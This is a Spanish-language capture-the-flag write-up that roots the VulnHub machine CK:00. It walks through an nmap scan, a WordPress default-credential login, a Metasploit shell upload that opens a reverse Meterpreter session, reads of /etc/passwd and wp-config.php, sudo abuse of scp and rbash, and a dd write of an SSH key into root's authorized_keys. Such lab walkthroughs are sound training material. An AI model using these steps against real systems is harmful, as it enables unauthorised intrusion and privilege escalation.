[VLN] CK:00

Hoy vamos a hackear la maquina de Vulnhub llamada CK:00. Podeis descargarla desde el siguiente enlace: https://www.vulnhub.com/entry/ck-00,444/
  • Video
  • Enumeration
  • Empezamos con un nmap para ver que puertos tiene abiertos.
    sml@Cassandra:~$ nmap -A -p- 192.168.1.69 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 17:17 CET Nmap scan report for ck00.home (192.168.1.69) Host is up (0.00057s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d2:6f:64:b5:4c:22:ce:b2:c9:8a:ab:57:0e:69:4a:0f (RSA) | 256 a8:6f:9c:0e:d2:ee:f8:73:0a:0f:5f:57:1c:2f:59:3a (ECDSA) |_ 256 10:8c:55:d4:79:7f:63:0f:ff:ea:c8:fb:73:1e:21:f6 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.2.2 |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: CK~00 – Just another WordPress site Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.95 seconds
    Vemos que tiene SSH y Apache (con Wordpress). Tras probar los credenciales por defecto de Wordpress, vemos que nos logueamos con admin/admin :)
  • Exploitation
  • Sabiendo los credenciales de Wordpress, vamos a usar Metasploit para conseguir una shell.
    msf5 > use exploit/unix/webapp/wp_admin_shell_upload Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload [*] Using exploit/unix/webapp/wp_admin_shell_upload msf5 exploit(unix/webapp/wp_admin_shell_upload) > show options Module options (exploit/unix/webapp/wp_admin_shell_upload): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes The WordPress password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the wordpress application USERNAME yes The WordPress username to authenticate with VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 WordPress msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.1.69 rhosts => 192.168.1.69 msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin username => admin msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password admin password => admin msf5 exploit(unix/webapp/wp_admin_shell_upload) > exploit [*] Started reverse TCP handler on 192.168.1.148:4444 [*] Authenticating with WordPress using admin:admin... [+] Authenticated with WordPress [*] Preparing payload... [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/jwqXeQBeYY/tylreavZZJ.php... [*] Sending stage (38288 bytes) to 192.168.1.69 [*] Meterpreter session 1 opened (192.168.1.148:4444 -> 192.168.1.69:59798) at 2020-03-24 17:26:51 +0100 [+] Deleted tylreavZZJ.php [+] Deleted jwqXeQBeYY.php [+] Deleted ../jwqXeQBeYY meterpreter >
  • Post-Exploitation
  • Ahora que ya tenemos una shell en el sistema es momento para ver que hay por el sistema y como obtener mas privilegios.
    meterpreter > shell Process 25871 created. Channel 0 created. sh: 0: getcwd() failed: No such file or directory sh: 0: getcwd() failed: No such file or directory id uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh -i sh: 0: getcwd() failed: No such file or directory /bin/sh: 0: can't access tty; job control turned off $cat /etc/passwd root:x:0:0:root:/root:/bin/bash --SNIP-- messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false ck-00:x:1000:1000:CyberKnight:/home/ck:/bin/bash sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false bla1:x:1001:1001:Bla 1,01,0000,0001:/home/bla1:/bin/bash bla:x:1002:1002:bla,0000,0000,0000:/home/bla:/bin/bash $ cd /home $ ls bla bla1 ck $ cd ck $ ls ck00-local-flag $ cat ck00-local-flag local.txt = 8163d4c2c7ccb38591d57b86c7414f8c you got local flag get the root shell and read root flag
    Parece que hemos conseguido la flag del usuario, pero seguimos necesitando la de root.
    $ cd /var/www/html $ ls index.php license.txt readme.html wp-activate.php wp-admin wp-blog-header.php wp-comments-post.php wp-config-sample.php wp-config.php wp-content wp-cron.php wp-includes wp-links-opml.php wp-load.php wp-login.php wp-mail.php wp-settings.php wp-signup.php wp-trackback.php xmlrpc.php $ cat wp-config.php --SNIP-- /** MySQL database username */ define( 'DB_USER', 'root' ); /** MySQL database password */ define( 'DB_PASSWORD', 'bla_is_my_password' ); --SNIP--
    Probamos esa password para loguearnos como root pero no sirve... Asi que probamos con los usuarios que hemos visto anteriormente que formaban parte del sistema, bla,bla1,ck-00... Y con el usuario bla tenemos exito!
    sml@Cassandra:~$ ssh bla@192.168.1.69 bla@192.168.1.69's password: Last login: Fri Aug 2 13:35:50 2019 from 192.168.29.253 bla@ck00:~$ sudo -l [sudo] password for bla: Matching Defaults entries for bla on ck00: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/ snap/bin User bla may run the following commands on ck00: (bla1) /usr/bin/scp
    Vemos que podemos usar sudo para ejecutar scp como usuario bla1, el cual podemos utilizar para obtener una shell como bla1 :)
    bla@ck00:/tmp$ TF=$(mktemp) bla@ck00:/tmp$ echo 'sh 0<&2 1>&2' > $TF bla@ck00:/tmp$ chmod +x "$TF" bla@ck00:/tmp$ sudo -u bla1 scp -S $TF x y: /bin/sh: 0: Can't open /tmp/tmp.NvRtZ1GS49 lost connection bla@ck00:/tmp$ ls -l /tmp/tmp.NvRtZ1GS49 -rwx--x--x 1 bla bla 13 Mar 25 14:24 /tmp/tmp.NvRtZ1GS49 bla@ck00:/tmp$ chmod 777 /tmp/tmp.NvRtZ1GS49 bla@ck00:/tmp$ sudo -u bla1 scp -S $TF x y: $ id uid=1001(bla1) gid=1001(bla1) groups=1001(bla1) $
    Ahora que somos el usuario bla1 vamos a continuar. NOTA: Por deduccion y curiosidad la pass de bla1 es: bla1_is_my_password aunque no es necesaria en el "juego".
    bla1@ck00:~$ sudo -l Matching Defaults entries for bla1 on ck00: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/ snap/bin User bla1 may run the following commands on ck00: (ck-00) NOPASSWD: /bin/rbash
    En este caso podemos ejecutar rbash como el usuario ck-00...
    bla1@ck00:~$ sudo -u ck-00 /bin/rbash To run a command as administrator (user "root"), use "sudo ". See "man sudo_root" for details. ck-00@ck00:~$ id uid=1000(ck-00) gid=1000(ck-00) groups=1000(ck-00),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
    Bien, ahora somos el usuario ck-00 y estamos en una "restricted shell", podeis verlo de la siguiente manera:
    ck-00@ck00:/tmp$ cd / rbash: cd: restricted
    Asi que lo primero es hacer bypass de las limitaciones de rbash y obtener una shell "normal", en este caso es simple :)
    ck-00@ck00:/tmp$ sh $ id uid=1000(ck-00) gid=1000(ck-00) groups=1000(ck-00),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd) $cd / $ ls bin home lib64 opt sbin sys vmlinuz boot initrd.img lost+found proc snap tmp vmlinuz.old dev initrd.img.old media root srv usr etc lib mnt run swap.img var
    Asi que ya estariamos con una shell sin restricciones y con el usuario ck-00.
  • Privilege Escalation
  • Con el usuario ck-00 miramos si podemos utilizar tambien sudo...
    $ sudo -l Matching Defaults entries for ck-00 on ck00: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/ snap/bin User ck-00 may run the following commands on ck00: (root) NOPASSWD: /bin/dd
    Vemos que podemos usar el comando dd como root, el cual podemos aprovechar para escalar los privilegios. La idea es aprovechar el uso de dd para copiar nuestra clave publica en las authorized_keys de root y de ese modo poder loguearnos luego como root.
    $ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnKTcC7KPANz4UxNAIYKxk1jnpymVix5yeiN+z68td8qqK96Zm 0TKaF5Xzskhw1eSDqbcXHo9lmbu5465jpxZkC2UvvigHFqvZsujLwgLfah37MYKBCNt= sml@Cassandra" | sudo -u root dd of=/root/.ssh/authorized_keys 1+1 records in 1+1 records out 567 bytes copied, 0.0004185 s, 1.4 MB/s $
    Y por ultimo nos logueamos desde nuestra maquina como "root"..
    sml@Cassandra:~$ ssh root@192.168.1.69 root@ck00:~# id uid=0(root) gid=0(root) groups=0(root)
  • ck00-root-flag.txt
  • Ya como root podemos mirar la flag que nos faltaba.
    root@ck00:~# cat ck00-root-flag.txt flag = c0523985a2640ad30429fb2055196XXX Thia flag is a proof that you get the root shell. You have to submit your report contaning all steps you take to get root shell. Send your report to our official mail : XXX@gmail.com
  • End
  • Y con esto ya seriamos root de la maquina :)